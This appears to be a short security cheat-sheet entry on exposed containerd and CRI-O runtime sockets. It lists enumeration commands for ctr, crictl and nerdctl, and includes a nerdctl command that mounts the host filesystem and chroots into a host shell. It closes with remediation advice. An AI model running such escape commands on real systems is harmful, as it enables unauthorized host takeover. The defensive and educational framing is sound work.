Docker is not the only container runtime.
Modern Linux hosts may use containerd, CRI-O, or Kubernetes CRI interfaces directly. If runtime sockets are mounted into a container and writable, they can become a control plane just like the Docker socket.
Runtime Sockets
Check:
ls -la /run/containerd/containerd.sock
ls -la /var/run/containerd/containerd.sock
ls -la /var/run/crio/crio.sock
ls -la /run/crio/crio.sock
Tools:
ctr
crictl
nerdctl
containerd
Check for ctr:
which ctr
ctr version
List namespaces:
ctr namespaces list
List containers:
ctr -n moby containers list
ctr -n k8s.io containers list
List tasks:
ctr -n moby tasks list
ctr -n k8s.io tasks list
The namespace depends on how the runtime is used. Docker commonly uses moby. Kubernetes commonly uses k8s.io.
nerdctl
nerdctl provides a Docker-like CLI for containerd.
nerdctl ps
nerdctl images
nerdctl run --rm -it -v /:/host alpine chroot /host /bin/sh
Impact depends on socket access and runtime permissions.
CRI-O / Kubernetes CRI
Check for crictl:
which crictl
crictl info
crictl ps
crictl images
If the default endpoint is wrong, specify it:
crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps
crictl --runtime-endpoint unix:///var/run/crio/crio.sock ps
Impact
Runtime socket access can allow:
- Listing containers and pods
- Reading logs
- Starting containers
- Accessing images
- Mounting host paths
- Interacting with Kubernetes-managed workloads
The exact impact depends on runtime, namespace, permissions, and available tooling.
Remediation
- Do not mount containerd or CRI-O sockets into application containers.
- Restrict socket file permissions.
- Limit access to runtime management tools.
- Monitor runtime API calls.
- Separate build/control workloads from application workloads.
- Treat runtime socket access as host or node-level control.
Docker is only one frontend. The dangerous object is the runtime control socket.